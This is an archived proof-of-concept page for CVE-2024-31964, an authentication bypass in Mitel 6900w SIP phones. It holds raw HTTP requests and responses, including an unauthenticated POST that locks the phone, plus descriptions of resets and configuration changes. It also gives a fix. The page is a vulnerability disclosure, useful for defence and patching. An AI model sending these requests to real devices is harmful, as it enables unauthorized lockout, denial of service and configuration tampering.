Associated Vulnerability
Title:Mitel 6800 SIP 和 6900 SIP 安全漏洞 (CVE-2024-31964)Description:A vulnerability on Mitel 6800 Series and 6900 Series SIP Phones through 6.3 SP3 HF4, 6900w Series SIP Phone through 6.3.3, and 6970 Conference Unit through 5.1.1 SP8 allows an unauthenticated attacker to conduct an authentication bypass attack due to improper authentication control. A successful exploit could allow an attacker to modify system configuration settings and potentially cause a denial of service.
Description
CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass
Readme
# CVE-2024-31964
CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass
# Vulnerability details
## Summary
It consists of a temporary authentication bypass vulnerability in the HTTP administrative website panel of several Mitel Products.
## Impact
Allows an attacker to modify the device configuration, and perform denial of service attacks against the affected device.
## Requirements
A user must have successfully logged in minutes before, and from the same source IP as the attacker.
## Proposed CVSS
Proposed CVSS:
- CVSS v4.0 score: 7.2
- CVSS v4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:H
## References
Advisory: [Mitel Product Security Advisory 24-0007](https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0007)
# Testing environment
This CVE was found while auditing 3 SIP Phones with the following properties (this CVE was successfully tested against these 3 device models):
- Device manufacturer: Mitel
- Device models:
- 6920w
- 6930w
- 6940w
- Device version: firmware 6.3.2.85
- System Language: Spanish
- Device URL reference:
- https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6920-6920w-ip-phone-user-guide
- https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6930-6930w-ip-phone-user-guide
- https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6940-6940w-ip-phone-user-guide
- Affected components: HTTP Administrative Website Panel
According to Mitel's advisory, it affects more products, but I did not have access to any of them to verify it.
# Proof of Concept
Generally, in order to access any Mitel control/management web panel resource, it is necessary to make requests with the "Authorization" header, which establishes the credentials of the user trying to access.
Example of authenticated request:
```
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```
In case this header is not set, we get an "Unauthorized" error, and we are asked to authenticate, requiring the credentials.
Unauthorized GET request:
```
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```
Response:
```
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
```
However, it turns out that all POST requests from the application can be made without setting the Authorization header, i.e. as an unauthenticated user, provided that a legitimate user has previously logged in from the same source IP as the attacker, and for a limited time (it has been measured that the time window is approximately 8 minutes). That is, if a legitimate user logs into the device's management website, there is a window of about 8 minutes during which an attacker with the same IP as the logged-in user could make unauthenticated POST requests, without needing to know the credentials. The vulnerability is quite restrictive because of the requirement to share the IP with a legitimate user, but in cases where a PC is shared, or computers are accessed through the same proxy server, the possibilities of exploitation would be higher.
By means of POST requests it is possible to change user passwords (requires prior knowledge of the password), lock/unlock the device, reset the device, upload CSV files of contacts, configure the configuration server, etc.
For example, if we try to lock the device without the Authorization header, we see that the device is effectively blocked, denying its service to the user, and we can also reboot the phone, temporarily denying the service altogether. As a quick test, we have also effectively modified the speed-dial keys and the configuration server.
Example of unauthenticated phonelock request:
```
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
```
Successful unauthenticated response:
```
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='support'>Servicio de soporte técnico</a></span></div></div></body></html>
```
Additionally, we can request a device reset:
And use ping to verify the temporal loss of connectivity:
We can change most parameters... For example, the FTP server:
# Proposed Solution
The Authorization header should always be required and validated, and/or the session should be managed with cookies, not source IPs.
File Snapshot
[4.0K] /data/pocs/f3b52ef7ed729439d42e74251f541404ca041d15
├── [4.0K] imgs
│ ├── [250K] 0-authenticated_request.png
│ ├── [104K] 1-unauthenticated_request.png
│ ├── [222K] 2-unauthenticated_lock.png
│ ├── [165K] 3-unauthenticated_reset.png
│ ├── [579K] 4-ping_unauthenticated_reset.png
│ ├── [221K] 5-unauthenticated_ftp_mod.png
│ └── [136K] 6-unauthenticated_ftp_mod_changed.png
├── [ 34K] LICENSE
└── [7.3K] README.md
1 directory, 9 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →